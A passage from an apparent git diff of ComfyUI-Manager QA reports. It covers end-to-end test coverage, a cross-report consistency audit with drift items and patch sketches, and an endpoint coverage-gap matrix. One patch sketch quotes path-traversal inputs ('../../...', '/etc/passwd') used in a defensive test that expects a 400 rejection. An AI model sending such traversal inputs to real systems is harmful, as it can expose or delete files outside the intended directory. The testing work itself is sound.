Coverage evolution: WI-VV closed 4 LOW-risk items via real UI-click;
WI-WW closed 5 MED items via mock-based UI→API wiring; WI-WW.2
closed wi-015 via 2-hop mock. **WI-YY** then promoted 5 of the 6
mocks (wi-014/020/024/037/038) to REAL pytest E2E — 2 run under
the default-security fixture (wi-020 real TAEF1 download,
wi-024 direct endpoint POST) and 3 run under a permissive-harness
fixture (security_level=normal-) using HARDCODED TRUSTED inputs
(wi-014 self-switch no-op, wi-037 nodepack-test1-do-not-install,
wi-038 text-unidecode lazy-install). Playwright mocks for these 5
items were REMOVED; the Playwright column reverted to P (UI-click
not yet exercised in Playwright — backend contract now fully
covered by pytest). wi-015 remains as a 2-hop mock (legitimate:
pytest negative-path tests cover the 400 branch; UI→API wiring is
asserted via mock). COMFYUI_MANAGER_SKIP_MANAGER_REQUIREMENTS=1 is
exported as the safety belt in start_comfyui.sh for any
install/update flow. Permissive harness security note: these
endpoints exist to serve a supported feature — operators in a
trusted environment lower security_level to `normal-`/`weak` to
enable them. The 200 path IS the feature; testing it requires
exactly this configuration, with TRUSTED fixed inputs (never user
input).
2. **pytest effective ceiling = 39 / 39 = 100%** (Y=38 + I=1, N=0)
post-WI-UU. WI-TT closed 6 N → Y
(wi-031/032/033/034/035/036); WI-UU closed the final high-fanout
I → Y (wi-039 via `TestLegacyQueueBatch`). The sole remaining I
row is **wi-027 POST /v2/snapshot/restore** — intentional design,
NOT a gap: the endpoint is destructive and sits behind a
skip-by-default marker; upgrading it to Y requires a reversible
snapshot fixture, scoped as an optional WI-XX.
3. **Legacy-only tier — pytest now fully direct**:
- 0 pytest-N, 0 pytest-I, 9 pytest-Y = 9/9 direct coverage.
- 7 / 9 legacy-only endpoints remain Playwright-P — the audit focus
shifts from pytest coverage to UI-surface Playwright expansion.
4. **Shared tier is healthy**: 0 pytest-N, 27/29 pytest-Y, 11/29 Playwright-Y.
The 11 Shared-tier Playwright-P items are all UI-exists-but-not-tested —
never a protocol gap.
5. **glob-only is structurally Playwright-NA**: The single glob-only endpoint
(`queue/task`) has no legacy UI surface by design — the legacy UI dispatches
through `queue/batch` (wi-039). Closing this needs a glob-UI Playwright
harness, which is an upstream-ComfyUI scope concern.
---
## 6. Recommended Follow-up WIs
| WI | Scope | Closes | Priority |
|---|---|---|---|
| **WI-TT** | Add 6 direct positive-path pytest tests for legacy-only GET endpoints — landed in `tests/e2e/test_e2e_legacy_endpoints.py` (§22 of `e2e_verification_audit.md`); closed 2026-04-21 | wi-031, 032, 033, 034, 035, 036 | 🟢 DONE |
| **WI-UU** | Add pytest positive-path for `POST /v2/manager/queue/batch` (high-fanout) — landed `TestLegacyQueueBatch` in `tests/e2e/test_e2e_legacy_endpoints.py` (§22 of `e2e_verification_audit.md`); closed 2026-04-21 | wi-039 | 🟢 DONE |
| **WI-VV** | Legacy-UI Playwright — 4 LOW-risk P closures via real UI-click (closed 2026-04-20) | wi-001, 005, 017, 021 | 🟢 DONE |
| **WI-WW** | env var skip + 5 mock-based Playwright P closures (closed 2026-04-20) | wi-014, 020, 024, 037, 038 | 🟢 DONE |
| **WI-WW.2** | Playwright P closure for wi-015 via 2-hop mock (getlist stub + POST intercept; closed 2026-04-21) | wi-015 | 🟢 DONE |
| **WI-YY** | Replace 5 of 6 mocks with REAL pytest E2E — default-security (wi-020, wi-024) + permissive-harness with trusted fixed inputs (wi-014 self-switch, wi-037 nodepack-test1, wi-038 text-unidecode) + env var safety belt + start_comfyui_permissive.sh harness (closed 2026-04-21) | wi-014, wi-020, wi-024, wi-037, wi-038 | 🟢 DONE |
| **WI-YY.3** | Replace remaining mock (wi-015) with REAL pytest E2E via pre-seeded broken pack (ComfyUI-YoloWorld-EfficientSAM cloned without pip deps; warmup via import_fail_info_bulk; cnr_id=directory-basename lookup) — deleted the legacy-ui-mock-install.spec.ts file (closed 2026-04-21) | wi-015 | 🟢 DONE |
| **WI-WW** (optional) | pytest-I → pytest-Y for install endpoints (`install/git_url`, `install/pip`) — superseded by WI-YY-real (wi-037 via TestInstallViaGitUrlRealClone, wi-038 via TestInstallPipRealExecute in test_e2e_legacy_real_ops.py) | wi-037, 038 | 🟢 DONE (via WI-YY) |
| **WI-XX** (optional) | Skip-by-default pytest for `POST /v2/snapshot/restore` | wi-027 | 🟡 MEDIUM |
Post-WI-UU pytest coverage is **38/39 Y + 1/39 I = 100% effective**
(N = 0). 0 🔴 HIGH items remain. 5 matrix rows carry the
`Y (WI-YY-real)` annotation — real-E2E execution replacing prior
`I`-only markers on mock-covered endpoints. The sole remaining
pytest-I row is wi-027 POST /v2/snapshot/restore, retained by
intentional design (destructive endpoint behind a skip-by-default
marker; scoped as optional WI-XX for future reversible-fixture
upgrade). Playwright is **17/39 Y = 44%** post-WI-YY.3 (from
13/39 = 33% at matrix creation; peaked at 18/39 pre-YY.3 before
the wi-015 mock was removed in favor of real pytest E2E via a
pre-seeded broken pack). 6 mocks removed in total (5 via WI-YY
+ 1 via WI-YY.3) in favor of real pytest E2E — the trade-off is
honest real-execution coverage via pytest (with a permissive
harness for high+ gated items using trusted fixed inputs) instead
of mock-only UI-wiring via Playwright.
---
## 7. Source YMLs
| Member | File | Items |
|--------|------|------:|
| gteam-teng | `.claude/pair-working/checklists/cl-20260420-wl-afbf982ff/gteam-teng.yml` | 10 |
| gteam-reviewer | `.claude/pair-working/checklists/cl-20260420-wl-afbf982ff/gteam-reviewer.yml` | 10 |
| gteam-dev | `.claude/pair-working/checklists/cl-20260420-wl-afbf982ff/gteam-dev.yml` | 10 |
| gteam-dbg | `.claude/pair-working/checklists/cl-20260420-wl-afbf982ff/gteam-dbg.yml` | 9 |
| | **Total** | **39** |
+267
View File
@@ -0,0 +1,267 @@
# Report Y — Cross-Artifact Consistency Audit
**Generated**: 2026-04-19
**Auditor**: gteam-doc
**Scope**: 9 markdown files in `reports/` directory (post-Wave3 PR preparation stage)
**Mandate**: Audit-only — fixes deferred to follow-up WIs
**Baseline gate**: `python scripts/verify_audit_counts.py` → **PASS** (94/0/0/15/109 matches between Summary Matrix and per-file rows)
---
## 📌 Status update (WI-Z, 2026-04-19)
All 13 drift items identified below have been **RESOLVED** via WI-Z patch application (consolidated Y1+Y2+Y3+Y4). Final verify: `(100, 0, 0, 15, 115)` — PASS.
> **WI-II note (2026-04-20)**: The `test_e2e_csrf.py` function/parametrization tally recorded below as `4 functions / 29 parametrized invocations (16+2+11)` — see L47, L75, L236 — reflects the pre-WI-HH state. WI-HH removed 3 dual-purpose endpoints (`db_mode`, `policy/update`, `channel_url_list`) from the reject-GET fixture (they legitimately answer GET on the read-path and are covered only in the allow-GET class), bringing the current count to `4 functions / 26 parametrized invocations (13+2+11)`. This audit's historical figures are preserved as a time-stamped snapshot of the 2026-04-19 state; the current state is recorded in `e2e_verification_audit.md` §18, `test_contract_audit.md` §1.5, `coverage_gaps.md` CSRF-Mitigation Layer Coverage, `e2e_test_coverage.md` test_e2e_csrf.py subsection, and `verification_design.md` §10.
| Patch | Scope | Items resolved | Net effect |
|-------|-------|----------------|------------|
| **Y1** | snapshot_lifecycle audit §7 add path-traversal row | B-3, B-4, D-1 | §7: 6→7 PASS; SR3 Key gap → RESOLVED |
| **Y2** | e2e_test_coverage.md stale sync | A-1, A-2, A-3, A-4, B-1, B-2 | Summary 119→117; customnode header 9→11; snapshot rows swapped; navigation 4→2 |
| **Y3** | config_api audit §4 add 5 uncounted rows | B-5 | §4: 10→15 PASS (junk_value ×3 + persists_to_config_ini ×2) |
| **Y4** | do_fix security level middle→high | C-1, C-2, C-3 | 3 locations updated: endpoint_scenarios L18/L380 + verification_design L666 |
| **Y5** | do_fix subsequent upgrade high→high+ (follow-up to Y4) | — (no new C-items; re-sync of Y4 locations after code state advanced) | 4 locations re-synced: endpoint_scenarios §Security list + §Security Level Matrix + §Note + verification_design Security tiers. README 'Risky Level Table' `Fix nodepack` moved from `high` row into `high+` row (`high` row now marked empty). Aligns enforcement gate with `SECURITY_MESSAGE_HIGH_P` log text (WI-#235, gate lifted from `'high'` to `'high+'` at `glob/manager_server.py:974` + `legacy/manager_server.py:560`). Y4 rows above are preserved as historical record of the middle→high transition. |
Summary Matrix: `(94,0,0,15,109)` → `(100,0,0,15,115)`. Upgrade count unchanged at 27 (WI-Z is inventory reconciliation, not new upgrades). Y5 is a follow-up re-sync triggered by a subsequent code change (WI-#235), not a new drift detection; it does not alter the Summary Matrix counts.
---
## 1. Inventory
| # | File | Lines | Modified | Role |
|---|------|------:|----------|------|
| 1 | `endpoint_scenarios.md` | 425 | 2026-04-18 23:53 | Report A — Endpoint extraction + scenarios |
| 2 | `scenario_intents.md` | 424 | 2026-04-18 08:29 | Intent (why endpoint exists) |
| 3 | `scenario_effects.md` | 514 | 2026-04-18 08:27 | Effect (observable result) |
| 4 | `verification_design.md` | 824 | 2026-04-18 23:53 | Design Goals (92 + CSRF-M1/M2/M3 = 95) |
| 5 | `e2e_test_coverage.md` | 358 | 2026-04-18 22:39 | Report B — E2E test inventory |
| 6 | `e2e_verification_audit.md` | 469 | 2026-04-19 22:36 | Audit verdicts (109 tests; 94 PASS / 15 N/A) |
| 7 | `test_contract_audit.md` | 282 | 2026-04-18 23:09 | Pytest/Playwright contract compliance |
| 8 | `coverage_gaps.md` | 182 | 2026-04-18 22:45 | Coverage gap rollup |
| 9 | `research-cluster-g.md` | 215 | 2026-04-19 07:30 | Cluster G research (imported_mode + boolean CLI) |
Total: **3 693 lines** across **9 files**.
Actual test-file reality (`grep -c "def test_"` / `grep "^\s*test("`) at audit time:
| Test file | `def test_` count | Audit claim | Coverage claim |
|-----------|------------------:|------------:|---------------:|
| `test_e2e_config_api.py` | 15 | 10 | 10 |
| `test_e2e_csrf.py` | 4 | 4 | 4 (29 parametrized) |
| `test_e2e_customnode_info.py` | 12 (11 + 1 `@pytest.mark.skip`) | 11 | 9 |
| `test_e2e_endpoint.py` | 7 | 7 | 7 |
| `test_e2e_git_clone.py` | 3 | 3 | 3 |
| `test_e2e_queue_lifecycle.py` | 10 | 9 (+ 1 noted in Key gaps) | 9 |
| `test_e2e_snapshot_lifecycle.py` | 7 | 6 | 7 (contains 1 deleted + missing 1 new) |
| `test_e2e_system_info.py` | 4 | 4 | 4 |
| `test_e2e_task_operations.py` | 16 | 16 | 16 |
| `tests/cli/test_uv_compile.py` (relocated WI-PP; was `test_e2e_uv_compile.py`) | 8 | N/A (out of E2E scope) | 8 |
| `test_e2e_version_mgmt.py` | 7 | 7 | 7 |
| `legacy-ui-manager-menu.spec.ts` | 5 | 5 | 5 |
| `legacy-ui-custom-nodes.spec.ts` | 5 | 5 | 5 |
| `legacy-ui-model-manager.spec.ts` | 4 | 4 | 4 |
| `legacy-ui-snapshot.spec.ts` | 3 | 3 | 3 |
| `legacy-ui-navigation.spec.ts` | 2 | 2 | 4 |
| `debug-install-flow.spec.ts` | 1 | 1 | 1 |
---
## 2. Internal Cross-Reference Consistency (reports ↔ reports)
### 2.1 Counts that agree across all reports (✅ consistent)
| Claim | Values | Files involved |
|-------|--------|----------------|
| Total tests counted in audit | **109** (94 P / 0 W / 0 I / 15 N) | `e2e_verification_audit.md` L330, L334, L462, L466 |
| Design Goals | **92** base + **3** CSRF-M (M1/M2/M3) = **95** superset | `verification_design.md` §10, `e2e_verification_audit.md` L335, L337, L378 |
| Design-Goal coverage | **68/92** (73.9%) base / **71/95** (74.7%) superset | `e2e_verification_audit.md` L337 |
| `test_e2e_csrf.py` structure | 4 test functions / **29** parametrized invocations (16 + 2 + 11) | `e2e_test_coverage.md` L18, L188; `test_contract_audit.md` L104-106, L168; `verification_design.md` L797, L805, L813; `e2e_verification_audit.md` L323 |
| `STATE_CHANGING_POST_ENDPOINTS` line range | L92–L109 in `test_e2e_csrf.py` | `endpoint_scenarios.md` L396 — **verified against source** |
| Security Level Matrix line range | L378–L382 in `endpoint_scenarios.md` | `endpoint_scenarios.md` L396 — **verified** |
| `comfyui_switch_version` → `high+` | Consistent at L382 of `endpoint_scenarios.md`, L668 of `verification_design.md`, L410 of `endpoint_scenarios.md` (CSRF inventory) | Cross-checked with commit `9c9d1a40` |
| `verify_audit_counts.py` gate | Summary Matrix computed vs reported — both `(94, 0, 0, 15, 109)` | Script output PASS |
### 2.2 Playwright test-count cross-report check (⚠️ drift in one file)
| File | manager-menu | custom-nodes | model-manager | snapshot | navigation | debug | Total |
|------|---:|---:|---:|---:|---:|---:|---:|
| `e2e_verification_audit.md` L318-328 | 5 | 5 | 4 | 3 | **2** | 1 | **20** |
| `test_contract_audit.md` L73 (20 tests) | (aggregated) | | | | | | **20** |
| `e2e_test_coverage.md` L14 (Summary) | | | | | | | **21** ❌ |
| `e2e_test_coverage.md` per-section | 5 | 5 | 4 | 3 | **4** ❌ | 1 | **22** ❌ |
| Actual spec files (`grep "^\s*test("`) | 5 | 5 | 4 | 3 | **2** | 1 | **20** |
Only `e2e_test_coverage.md` is out of sync with the Playwright post-WI-F reality. All other reports (audit + contract + actual) agree on 20.
---
## 3. Discovered Drift (by category and severity)
### Category A — Simple typo / stale number (MINOR)
| # | Location | Current text | Should be | Evidence |
|---|----------|--------------|-----------|----------|
| A-1 | `e2e_test_coverage.md` L86 | `## tests/e2e/test_e2e_customnode_info.py (9 tests)` | `(11 tests)` | Section body lists 11 rows (L92–L102); audit §5 header is `(11 tests)` |
| A-2 | `e2e_test_coverage.md` L14 | `Playwright (legacy UI) \| 5 \| 21` | `\| 5 \| 19` | Post-WI-F deletion of 2 navigation tests; audit Summary Matrix reports 20 (19 legacy + 1 debug) |
| A-3 | `e2e_test_coverage.md` L16 | `TOTAL \| 17 \| 119` | `\| 17 \| 117` | Downstream of A-2 |
| A-4 | `e2e_test_coverage.md` L258 | `## tests/playwright/legacy-ui-navigation.spec.ts (4 tests)` | `(2 tests)` | Actual spec: 2 `test(...)` calls — `API health check` and `system endpoints accessible` deleted per WI-F (Stage2) |
### Category B — Structural drift (OBSOLETE rows / MISSING rows, MAJOR)
| # | Location | Drift | Evidence |
|---|----------|-------|----------|
| B-1 | `e2e_test_coverage.md` L266–L267 | **OBSOLETE rows** — references deleted tests `API health check while dialogs are open` and `system endpoints accessible from browser context` | `test_contract_audit.md` L32-33: both marked `**DELETED**`; verify: `grep '^\s*test(' tests/playwright/legacy-ui-navigation.spec.ts` returns only 2 matches |
| B-2 | `e2e_test_coverage.md` L131 | **OBSOLETE row** — `TestSnapshotGetCurrentSchema::test_get_current_returns_dict` | `e2e_verification_audit.md` L128: struck-through `~~test_get_current_returns_dict~~ ~~REMOVED~~` via Wave1 WI-M dedup (file count 7→6 for §7) |
| B-3 | `e2e_test_coverage.md` L120–L132 | **MISSING row** — `test_remove_path_traversal_rejected` (file L300) not listed, though `snapshot_lifecycle.py` file count claims 7 tests | `grep "def test_" tests/e2e/test_e2e_snapshot_lifecycle.py` shows 7 functions; this test (SR3 — path traversal rejection) implements the "NORMAL add (Priority 🔴)" Key gap |
| B-4 | `e2e_verification_audit.md` L119 (§7 header + body) | **MISSING row** — same as B-3. Section 7 table lists 6 active rows (+ 1 struck REMOVED) but `test_remove_path_traversal_rejected` not represented. Summary Matrix row 319 therefore reports `6 \| 0 \| 0 \| 0 \| 6` for a file that now has 7 PASSing tests. Key gaps at L134 still lists **SR3** (path traversal on remove) as "NORMAL add (Priority 🔴 per §Priority Fixes)" even though the test is implemented and would PASS. | Source file `tests/e2e/test_e2e_snapshot_lifecycle.py` L300–L328 contains the test |
| B-5 | `e2e_verification_audit.md` §4 (L56–L71) | **MISSING rows** — Section 4 tracks 10 config_api tests, but `tests/e2e/test_e2e_config_api.py` contains **15** `def test_` functions. Five tests are not represented: `test_set_db_mode_junk_value_rejected`, `test_db_mode_persists_to_config_ini`, `test_set_policy_junk_value_rejected`, `test_policy_persists_to_config_ini`, `test_set_channel_unknown_name_rejected` (source L411, L438, L727, and related). These are distinct from the `invalid_body` rows (malformed JSON) — they are whitelist-rejection and on-disk-persistence assertions introduced by WI-E / WI-I. | `grep "def test_" tests/e2e/test_e2e_config_api.py` returns 15 matches; audit § 4 body only references 10 |
### Category C — Semantic drift (claim contradicts current code, MAJOR)
| # | Location | Drift | Evidence |
|---|----------|-------|----------|
| C-1 | `endpoint_scenarios.md` L18 | Lists `_fix_custom_node` under security level `middle`. Commit **c8992e5d** (2026-04-04, "fix(security): correct do_fix security level from middle to high") changed do_fix in both `comfyui_manager/glob/manager_server.py` and `comfyui_manager/legacy/manager_server.py` from `middle` → `high`. Report was last modified 2026-04-18 (2 weeks after the commit) but still reflects pre-commit state. | `git show c8992e5d` diff; source at `glob/manager_server.py:966` (`is_allowed_security_level('high')`); README documents fix nodepack as `high` risk |
| C-2 | `endpoint_scenarios.md` L380 (Security Level Matrix, Legacy column) | `_fix` listed under `middle` — same issue as C-1 for the legacy handler | Same commit c8992e5d: `legacy/manager_server.py:550-555` now has `is_allowed_security_level('high')` gate |
| C-3 | `verification_design.md` L666 | `middle — reboot, snapshot/remove, _fix, _uninstall, _update` — `_fix` should be at `high+` tier | Same evidence as C-1/C-2 |
### Category D — Key-gap staleness (MINOR, observational)
| # | Location | Drift | Note |
|---|----------|-------|------|
| D-1 | `e2e_verification_audit.md` L134 (§7 Key gaps) | Claims **SR3** (path traversal on remove) is "NORMAL add (Priority 🔴 per §Priority Fixes)" — but the test IS implemented (see B-3/B-4) and the file count should be 7/7 ✅ | Either the Key gaps line is stale, or Section 7 should add the new row, update the total to 7/7, and resolve SR3 in §Priority Fixes |
---
## 4. Suggested Fixes (patch sketches, NOT applied — deferred to follow-up WI)
> These are line-level recommendations. Verify count-changes against `verify_audit_counts.py` before applying.
### Patch Y1 — Resolve B-3 + B-4 + D-1 (add `test_remove_path_traversal_rejected`)
```diff
--- a/reports/e2e_verification_audit.md
+++ b/reports/e2e_verification_audit.md
@@ -119 +119 @@
-# Section 7 — tests/e2e/test_e2e_snapshot_lifecycle.py (6 tests)
+# Section 7 — tests/e2e/test_e2e_snapshot_lifecycle.py (7 tests)
@@ -127,0 +128,1 @@
+| `test_remove_path_traversal_rejected` | SR3 | ✅ PASS | Path-traversal targets (`../../...`, `/etc/passwd`) return 400; sentinel file outside snapshot dir is NOT deleted. Resolves SR3 (path traversal on remove) — previously NORMAL-add. |
@@ -131 +131 @@
-**File verdict**: 6/6 ✅ (…)
+**File verdict**: 7/7 ✅ (Wave1 WI-M dedup + Wave2 WI-Q disk/content verification + SR3 path-traversal coverage implemented; file count 7→6→7.)
@@ -134 +134 @@
-- **SR3** (path traversal on remove) — NORMAL add (Priority 🔴 per §Priority Fixes).
+(remove line — SR3 resolved by `test_remove_path_traversal_rejected`)
@@ -319 +319 @@
-| test_e2e_snapshot_lifecycle.py | 6 | 0 | 0 | 0 | 6 |
+| test_e2e_snapshot_lifecycle.py | 7 | 0 | 0 | 0 | 7 |
@@ -330 +330 @@
-| **TOTAL** | **94** | **0** | **0** | **15** | **109** |
+| **TOTAL** | **95** | **0** | **0** | **15** | **110** |
```
Also update `§ Priority Fixes` for SR3 entry, and update the narrative totals on L334, L462, L466 (109 → 110). The 71/95 superset tally remains unchanged (SR3 is an existing Goal already inside the 92 base, not a new Goal).
### Patch Y2 — Resolve A-1 / A-2 / A-3 / A-4 / B-1 / B-2 / B-3 (e2e_test_coverage.md sync with reality)
```diff
--- a/reports/e2e_test_coverage.md
+++ b/reports/e2e_test_coverage.md
@@ -12,4 +12,4 @@
-| pytest E2E (HTTP API) | 10 | 85 |
-| pytest E2E (CLI — uv-compile) | 1 | 12 |
-| Playwright (legacy UI) | 5 | 21 |
-| Playwright (debug) | 1 | 1 |
-| **TOTAL** | **17** | **119** |
+| pytest E2E (HTTP API) | 10 | 86 | # +1 = test_remove_path_traversal_rejected (see Patch Y1)
+| pytest E2E (CLI — uv-compile) | 1 | 12 |
+| Playwright (legacy UI) | 5 | 19 |
+| Playwright (debug) | 1 | 1 |
+| **TOTAL** | **17** | **118** |
@@ -86 +86 @@
-## tests/e2e/test_e2e_customnode_info.py (9 tests)
+## tests/e2e/test_e2e_customnode_info.py (11 tests)
@@ -120 +120 @@
-## tests/e2e/test_e2e_snapshot_lifecycle.py (7 tests)
+## tests/e2e/test_e2e_snapshot_lifecycle.py (7 tests)
@@ -131 +131 @@
-| `TestSnapshotGetCurrentSchema::test_get_current_returns_dict` | GET snapshot/get_current | Response schema | dict type |
+| `TestSnapshotRemove::test_remove_path_traversal_rejected` | POST snapshot/remove?target=../... | Path traversal rejected | 400 + sentinel file preserved |
@@ -258 +258 @@
-## tests/playwright/legacy-ui-navigation.spec.ts (4 tests)
+## tests/playwright/legacy-ui-navigation.spec.ts (2 tests)
@@ -266,2 +266,0 @@
-| `> API health check while dialogs are open` | GET manager/version | … | … |
-| `> system endpoints accessible from browser context` | GET manager/version + GET is_legacy_manager_ui | … | … |
```
Note: if Patch Y1 is NOT applied, change `86 → 85`, `118 → 117`, and keep `(7 tests)` but still drop the obsolete `test_get_current_returns_dict` row and add `test_remove_path_traversal_rejected` row (net 7 tests).
### Patch Y3 — Resolve B-5 (config_api 5 missing rows in audit § 4)
This requires per-row verdict content (PASS + issue notes) for each of the 5 new tests. Recommend spawning a verification sub-WI that either (a) runs `pytest tests/e2e/test_e2e_config_api.py` and maps each new test to a Goal (C2 / C3 / C5 variants — whitelist rejection, disk persistence), or (b) marks them as "tracked but uncounted" with a preamble note.
Summary-matrix delta if all 5 added as PASS: `test_e2e_config_api.py: 10 → 15`, Grand TOTAL: `109 → 114` (independent of Patch Y1). Combined with Y1: `109 → 115`.
### Patch Y4 — Resolve C-1 / C-2 / C-3 (do_fix security level from middle → high)
```diff
--- a/reports/endpoint_scenarios.md
+++ b/reports/endpoint_scenarios.md
@@ -18 +18 @@
-- `middle`: reboot, snapshot/remove, _fix_custom_node, _uninstall_custom_node, _update_custom_node
+- `middle`: reboot, snapshot/remove, _uninstall_custom_node, _update_custom_node
+- `high`: _fix_custom_node (commit c8992e5d — aligned with README risk matrix)
@@ -380 +380 @@
-| **middle** | snapshot/remove, reboot | snapshot/remove, reboot, _uninstall, _update, _fix |
+| **middle** | snapshot/remove, reboot | snapshot/remove, reboot, _uninstall, _update |
+| **high** | _fix_custom_node | _fix |
```
```diff
--- a/reports/verification_design.md
+++ b/reports/verification_design.md
@@ -666 +666 @@
-- `middle` — reboot, snapshot/remove, _fix, _uninstall, _update
+- `middle` — reboot, snapshot/remove, _uninstall, _update
+- `high` — _fix (commit c8992e5d, aligned with README 'fix nodepack' risk tier)
```
---
## 5. Final Consistency Status Summary
| Check | Result |
|-------|--------|
| `verify_audit_counts.py` exit code | **0 (PASS)** |
| Audit Summary Matrix ↔ per-section rows | **Internally consistent** (94/0/0/15/109) |
| Design Goal counts (92 base, 95 superset) | **Consistent** across `verification_design.md`, `e2e_verification_audit.md` |
| `test_e2e_csrf.py` function/parametrization tally | **Consistent** across 4 cross-referencing reports (4 functions / 29 invocations / 16+2+11) |
| Cross-file test-count tally (Playwright) | **1 file out-of-sync** (`e2e_test_coverage.md` claims 21 / 22, rest agree on 20) |
| Audit ↔ actual test files (code-level drift) | **3 files out-of-sync**: config_api (+5 rows missing), snapshot_lifecycle (+1 row missing), customnode_info (+1 skip companion, acceptable) |
| Security Level Matrix ↔ source code | **Stale for do_fix**: middle vs actual high (commit c8992e5d) |
### Drift counts by severity
| Severity | Count | Items |
|---------:|------:|-------|
| MAJOR (Category B, structural) | **5** | B-1, B-2, B-3, B-4, B-5 |
| MAJOR (Category C, semantic/code drift) | **3** | C-1, C-2, C-3 |
| MINOR (Category A, cosmetic count/typo) | **4** | A-1, A-2, A-3, A-4 |
| MINOR (Category D, observational) | **1** | D-1 (tied to B-4) |
| **TOTAL** | **13** | |
### Interpretation
The **internal cross-report consistency is strong** — the audit's Summary Matrix parser passes, Design Goal / test-count / CSRF-contract numbers agree across 4–6 cross-referencing reports, and line-range citations (L92–L109, L378–L382) are verified accurate against source code.
The **external drift** (reports ↔ actual code) is concentrated in two places:
1. **Newly added tests not yet reflected in the audit matrix** — `test_remove_path_traversal_rejected` (snapshot), 5 new config_api tests (junk_value + disk-persistence), and a skip-companion in customnode_info. These are real, passing tests that should be audited and counted.
2. **do_fix security level semantic drift** — commit c8992e5d (2026-04-04) moved the gate from `middle` to `high`, but three reports still document the pre-commit state.
Neither class of drift invalidates the existing numbered conclusions (the audit passes its own checker); both are about **undercount / stale** rather than contradiction. Priority recommendation: apply Patch Y1 + Y4 before PR (minimal, high-value), defer Patch Y2 + Y3 to a follow-up WI if PR scope is tight.
---
*End of Consistency Audit Report Y*
+203
View File
@@ -0,0 +1,203 @@
# Coverage Gap Analysis — Report A × Report B
**Generated**: 2026-04-18 (WI-AA inventory update 2026-04-19: +2 LB1/LB2 tests → 119 total; WI-GG update 2026-04-20: +26 legacy CSRF parametrized rows → 145 total; WI-JJ update 2026-04-20: +3 legacy CSRF parity/install rows; WI-LL update 2026-04-20: +2 SECGATE rows → 148 audit rows / 126 test functions)
**Inputs**: `reports/endpoint_scenarios.md` (39 handlers, 154 scenarios) + `reports/e2e_test_coverage.md` (126 test functions / 148 audit rows — the row-count delta reflects audit-side per-invocation rendering of legacy CSRF plus the 2 new SECGATE PoC rows; function-level progression is recorded in `e2e_test_coverage.md`)
> **WI-AA (2026-04-19)**: `tests/playwright/legacy-ui-install.spec.ts` (2 tests: LB1 Install button triggers install effect, LB2 Uninstall button triggers uninstall effect) has been **integrated into the audit** (see `e2e_verification_audit.md` §16). These tests drive the install/uninstall action via the Custom Nodes Manager dialog UI and verify the resulting backend state via `/v2/customnode/installed`. They close the long-standing gap noted in this document's Section 4 for UI-driven install/uninstall effect coverage on the legacy UI. Prior coverage-gap mentions of "missing UI→effect for install/uninstall buttons" are now RESOLVED.
>
> **WI-GG (2026-04-20)**: `tests/e2e/test_e2e_csrf_legacy.py` (4 test functions / 26 parametrized invocations: 13 reject-GET + 2 POST-works + 11 allow-GET) — from WI-FF — has been **integrated into the audit** (see `e2e_verification_audit.md` §19). This extends the CSRF-Mitigation Layer Coverage block below from glob-only to glob + legacy, closing the regression-guard gap that a legacy-side `@routes.post` revert would have slipped past CI. LB1/LB2 classification as RESOLVED is unchanged.
>
> **WI-LL (2026-04-20)**: `tests/e2e/test_e2e_secgate_strict.py` (SR4 PoC — strict-mode fixture) + `tests/e2e/test_e2e_secgate_default.py` (CV4 demo — no harness needed) — from WI-KK — have been **integrated into the audit** (see `e2e_verification_audit.md` §20, §21). Two of the original 8 T2 SECGATE-PENDING Goals are now RESOLVED (SR4, CV4); the remaining 6 are reclassified into 4 sub-tiers (T2-pending-harness-ready: SR6/V5/UA2; NORMAL-legacy: LGU2/LPP2; T2-TASKLEVEL: IM4). Section 4 🟢 Low Priority "Security level 403 gates ... impractical in standard E2E env" is now PARTIAL — see the classification policy + propagation plan in `e2e_verification_audit.md`.
## Summary
| Metric | Count |
|---|---:|
| Glob v2 endpoints fully covered (row has no ✗ in Missing scenarios) | 15/30 |
| Glob v2 endpoints partially covered (some ✓ + some ✗) | 14/30 |
| Glob v2 endpoints NOT covered (positive) | 1/30 |
| Legacy-only endpoints fully covered | 0/9 |
| Legacy-only endpoints partially covered (indirect only) | 4/9 |
| Legacy-only endpoints NOT covered | 5/9 |
| Orphan tests (non-endpoint-direct; pytest + Playwright UI-only) | 29 |
---
# Section 1 — Endpoint × Test Coverage Matrix (Glob v2)
Legend: **✓** direct assertion test, **~** indirect / partial, **✗** not tested
| # | Endpoint | Direct test | Missing scenarios |
|---|---|---|---|
| 1 | POST queue/task (install) | ✓ test_e2e_endpoint, test_e2e_git_clone, test_e2e_task_operations | ✗ 400 ValidationError (bad kind/schema), ✗ 500 on malformed JSON |
| 2 | POST queue/task (uninstall) | ✓ test_e2e_endpoint, test_e2e_task_operations | (shared with #1) |
| 3 | POST queue/task (update/fix/disable/enable) | ✓ test_e2e_task_operations | (shared) |
| 4 | GET queue/history_list | ✓ test_e2e_queue_lifecycle | ✗ 400 on inaccessible history path |
| 5 | GET queue/history | ✓ test_e2e_queue_lifecycle, test_e2e_task_operations | ✗ `id=<batch_id>` file-based query, ✗ path traversal rejection |
| 6 | GET customnode/getmappings | ✓ test_e2e_customnode_info | ✗ `mode=nickname`, ✗ missing `mode` KeyError→500 |
| 7 | GET customnode/fetch_updates | ✓ test_e2e_customnode_info (410) | (fully covered — deprecated endpoint) |
| 8 | POST queue/update_all | ✓ test_e2e_task_operations | ✗ 403 security gate, ✗ `mode=local` vs remote distinction |
| 9 | GET is_legacy_manager_ui | ✓ test_e2e_system_info, playwright navigation | (fully covered) |
| 10 | GET customnode/installed | ✓ test_e2e_endpoint, test_e2e_customnode_info (both modes) | (fully covered) |
| 11 | GET snapshot/getlist | ✓ test_e2e_snapshot_lifecycle, playwright snapshot | (fully covered) |
| 12 | POST snapshot/remove | ✓ test_e2e_snapshot_lifecycle | ✗ path traversal "Invalid target" 400, ✗ 403 security gate, ✗ missing `target` query |
| 13 | POST snapshot/restore | ✗ **intentionally skipped (destructive)** | ALL scenarios (positive, path traversal, 403) |
| 14 | GET snapshot/get_current | ✓ test_e2e_snapshot_lifecycle | (fully covered) |
| 15 | POST snapshot/save | ✓ test_e2e_snapshot_lifecycle, playwright snapshot | (fully covered) |
| 16 | POST customnode/import_fail_info | ✓ test_e2e_customnode_info (negative only) | ✗ positive path (returning actual failure info) — requires seed failed import |
| 17 | POST customnode/import_fail_info_bulk | ✓ test_e2e_customnode_info | ✗ positive path with real failure info |
| 18 | POST queue/reset | ✓ test_e2e_queue_lifecycle | (fully covered) |
| 19 | GET queue/status | ✓ test_e2e_queue_lifecycle | (fully covered) |
| 20 | POST queue/start | ✓ test_e2e_queue_lifecycle (idle + lifecycle) | (fully covered) |
